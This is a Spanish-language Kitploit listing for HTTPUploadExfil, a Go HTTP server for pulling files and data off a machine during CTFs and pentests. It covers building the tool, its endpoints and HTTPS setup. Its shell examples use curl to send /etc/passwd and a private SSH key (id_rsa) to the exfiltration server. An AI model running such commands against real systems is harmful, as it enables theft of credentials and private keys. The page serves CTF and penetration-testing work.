Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HTTPUploadExfil — Un servidor HTTP simple para entregar y extraer archivos/datos durante, por ejemplo, CTFs. | Kitploit
Herramientas/GitHubGitHub/ingokl/httpuploadexfil
Exfiltración de DatosSeguridad WebCTFPruebas de Penetración
GitHubingokl/httpuploadexfil

HTTPUploadExfil

Un servidor HTTP simple para entregar y extraer archivos/datos durante, por ejemplo, CTFs.

Ver Repositorio
8218hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

HTTPUploadExfil

HTTPUploadExfil Logo

MIT License GitHub stars

HTTPUploadExfil es un servidor HTTP (muy) simple escrito en Go, útil para extraer archivos (y otra información) de una máquina usando HTTP. Aunque tiene muchos casos de uso, está pensado para usarse en escenarios ofensivos de bajo riesgo (por ejemplo, CTFs).

Piénsalo como python3 -m http.server pero para sacar datos de una máquina en lugar de ponerlos en ella.

Obviamente, esta es una forma muy ruidosa y algo limitada de extraer datos. Sin embargo, resulta bastante práctica y algo más fácil que, por ejemplo, usar SMB o FTP. Si buscas algo más elegante, échale un vistazo a, por ejemplo, dnsteal o PyExfil.

TL;DR

  1. Compila la herramienta usando go build.
  2. Ejecuta ./httpuploadexfil :1337 /home/kali/loot en tu máquina.
  3. Accede a http://TU_IP:1337/ desde la máquina de la que necesitas extraer datos.
  4. Encuentra tus archivos subidos en /home/kali/loot.

Si necesitas HTTPS, mira la información más abajo.

También puedes descargar binarios para Linux y Windows desde GitHub. Sin embargo, estos binarios no representan necesariamente los cambios más recientes.

Compilación y desarrollo

Aunque hay binarios disponibles, se recomienda compilarlo tú mismo. Así tendrás la versión más reciente y sabrás exactamente qué estás ejecutando. El proceso es trivial:

Simplemente ejecuta go build dentro de la carpeta y obtendrás un ejecutable httpuploadexfil para tu plataforma.

Si haces cambios en la herramienta, recuerda formatear con go fmt main.go.

Alternativamente, también puedes usar make para compilar la herramienta. También puedes ejecutar make cert para generar certificados SSL (ver más abajo).

Uso

El caso de uso más común sería ejecutar el servidor en la Máquina A. Luego, desde la Máquina B accedes al formulario de subida usando un navegador y seleccionas un archivo para extraer. Por supuesto, como se muestra a continuación, esto también se puede hacer con, por ejemplo, curl.

Además de subir archivos, también puedes usar HTTPUploadExfil para extraer datos mediante simples peticiones GET. Si se envía una petición al endpoint /g, toda la petición se almacenará en disco.

Por lo tanto, puedes extraer datos usando la cabecera de la petición. La forma más sencilla es usar parámetros GET (por ejemplo, ?data=...), pero hay otras opciones.

HTTPUploadExfil

Por defecto, HTTPUploadExfil se sirve en el puerto 8080. Todos los archivos se escribirán en el directorio actual.

./httpuploadexfil

También puedes proporcionar algunos argumentos:

./httpuploadexfil :1337 /home/kali/loot

Si necesitas registro de peticiones, pasa la bandera -log de la siguiente manera:

./httpuploadexfil -log

El primer argumento es una dirección de enlace, el segundo la carpeta donde almacenar los archivos.

La herramienta también expondrá los archivos del directorio loot bajo el endpoint /l. Esto puede usarse como una forma fácil de llevar archivos al objetivo.

Endpoints

El servidor web expone cuatro endpoints para que los uses:

  1. / (GET) es el formulario de subida.
  2. /p (POST) recibe los datos del formulario de subida. Requiere una petición multipart/form-data con el campo file relleno.
  3. /g (GET) tomará cualquier petición GET y almacenará la petición completa en el servidor.
  4. /l (GET) proporcionará acceso a los archivos en la carpeta especificada (listado de directorios). Esto es para ofrecer funcionalidad básica de python3 -m http.server.

Modo HTTPS

HTTPUploadExfil también puede usarse en modo HTTPS. Para ello, simplemente coloca los archivos HTTPUploadExfil.csr y HTTPUploadExfil.key junto al binario. Estos se pueden generar, por ejemplo, de la siguiente manera:

root@kitploit:~
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr

Para hacer esto, también puedes ejecutar make cert.

Si el servidor detecta un archivo HTTPUploadExfil.csr, intentará iniciar en modo HTTPS. Para volver a HTTP, simplemente elimina o renombra los archivos de certificado.

Shell

Usando Bash, podemos extraer datos mediante GET por ejemplo:

echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g

Por supuesto, también podemos usar curl para extraer archivos:

curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p

Pendientes

  • Implementar una versión HTTPS (cifrado del transporte)
  • Añadir opción de descarga (es decir, proporcionar funcionalidad de python3 -m http.server)
  • Añadir funcionalidad de registro para peticiones
  • Sistema de compilación (especialmente compilación cruzada para Windows y Linux)
Descargar herramienta